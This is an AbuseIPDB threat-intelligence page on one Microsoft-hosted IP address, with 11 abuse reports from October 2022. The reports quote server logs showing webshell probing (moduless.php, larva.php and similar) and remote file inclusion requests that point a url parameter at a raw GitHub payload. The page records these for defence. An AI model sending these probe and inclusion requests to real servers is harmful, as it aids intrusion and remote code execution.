JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 20.101.149.196

20.101.149.196 was found in our database!

This IP was reported 11 times. Confidence of Abuse is 0%: ?

ISP	Microsoft Corporation
Usage Type	Data Center/Web Hosting/Transit
ASN	AS8075
Domain Name	microsoft.com
Country	🇳🇱 Netherlands
City	Amsterdam, North Holland

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 20.101.149.196

Whois 20.101.149.196

IP Abuse Reports for 20.101.149.196:

This IP address has been reported a total of 11 times from 8 distinct sources. 20.101.149.196 was first reported on October 12th 2022, and the most recent report was 3 years ago.

Old Reports: The most recent abuse report for this IP address is from 3 years ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇧🇷 AC - Team	2022-10-14 11:59:21 (3 years ago)	20.101.149.196 - - [14/Oct/2022:12:59:20 -0300] "GET /moduless.php HTTP/1.1" 404 1177 "anonymousfox. ... show more 20.101.149.196 - - [14/Oct/2022:12:59:20 -0300] "GET /moduless.php HTTP/1.1" 404 1177 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" ... show less	Exploited Host Web App Attack
🇩🇪 EIC	2022-10-14 07:17:52 (3 years ago)	(php-url-fopen) Failed php-url-fopen trigger from 20.101.149.196 (NL/Netherlands/-)	Web App Attack
Anonymous	2022-10-14 06:16:55 (3 years ago)	Malicious activity detected	Hacking Brute-Force
🇮🇪 RoboSOC	2022-10-14 05:16:18 (3 years ago)	phpunit Remote Code Execution Vulnerability, PTR: PTR record not found	Hacking
Anonymous	2022-10-14 03:39:57 (3 years ago)	(mod_security) mod_security triggered on hostname [redacted] 20.101.149.196 (NL/Netherlands/North Ho ... show more (mod_security) mod_security triggered on hostname [redacted] 20.101.149.196 (NL/Netherlands/North Holland/Amsterdam/-) show less	SQL Injection
🇺🇸 mnsf	2022-10-13 20:04:37 (3 years ago)	Too many Status 40X (44)	Brute-Force Web App Attack
🇺🇸 Auto Reporter	2022-10-13 15:33:18 (3 years ago)	ET WEB_SERVER PHP Possible https Local File Inclusion Attempt 2022-10-12T23:27:32.485Z { GET /xml ... show more ET WEB_SERVER PHP Possible https Local File Inclusion Attempt 2022-10-12T23:27:32.485Z { GET /xmlrp.php?url=https://raw.githubusercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Accept-Language: en-US,en;q=0.9,fr;q=0.8 Cache-Control: max-age=0 referer: anonymousfox.co Upgrade-Insecure-Requests: 1 } show less	Web App Attack
🇧🇷 AC - Team	2022-10-13 14:41:13 (3 years ago)	20.101.149.196 - - [13/Oct/2022:15:41:12 -0300] "GET /moduless.php HTTP/1.1" 404 2036 "anonymousfox. ... show more 20.101.149.196 - - [13/Oct/2022:15:41:12 -0300] "GET /moduless.php HTTP/1.1" 404 2036 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" ... show less	Exploited Host Web App Attack
🇺🇸 Major Hostility	2022-10-13 07:32:29 (3 years ago)	"GET /style.php HTTP/1.1" 404 "GET /moduless.php HTTP/1.1" 404 "GET /wp-content/plugins/t_file_wp/t_ ... show more "GET /style.php HTTP/1.1" 404 "GET /moduless.php HTTP/1.1" 404 "GET /wp-content/plugins/t_file_wp/t_file_wp.php?test=hello HTTP/1.1" 404 "GET /admin.php HTTP/1.1" 404 "GET /index.php?3x=3x HTTP/1.1" 404 "GET /boom.php?x HTTP/1.1" 404 "GET /wp-content/plugins/backup_index.php HTTP/1.1" 404 "GET /wp-content/db_cache.php HTTP/1.1" 404 "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 404 "GET /xmlrp.php?url=https://raw.githubusercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1" 404 "GET /wpindex.php?idb=https://raw.githubusercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1" 404 "GET /larva.php?idb=https://raw.githubusercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1" 404 "G show less	Web App Attack
🇧🇷 AC - Team	2022-10-12 22:41:49 (3 years ago)	20.101.149.196 - - [12/Oct/2022:23:41:47 -0300] "GET /moduless.php HTTP/1.1" 301 585 "anonymousfox.c ... show more 20.101.149.196 - - [12/Oct/2022:23:41:47 -0300] "GET /moduless.php HTTP/1.1" 301 585 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" ... show less	Exploited Host Web App Attack
🇺🇸 mnsf	2022-10-12 20:03:11 (3 years ago)	Too many Status 40X (41)	Brute-Force Web App Attack

Showing 1 to 11 of 11 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇮🇳 209.38.120.71

🇷🇺 186.2.175.89

🇧🇷 179.216.241.230

🇬🇧 87.236.176.84

🇳🇱 85.137.93.150

🇫🇷 51.91.78.238

🇳🇱 45.153.34.204

🇹🇭 203.172.251.67

🇺🇸 185.147.157.139

🇳🇱 176.65.149.31

🇺🇸 146.190.222.185

🇯🇵 132.145.122.251

🇨🇦 85.217.149.26

🇺🇦 46.150.85.153

🇪🇸 2a00:1d24:409:93:9999::8

🇪🇸 213.179.217.8

🇮🇳 210.212.136.3

🇲🇳 202.37.109.47

🇺🇸 185.165.44.247

🇨🇳 112.94.5.43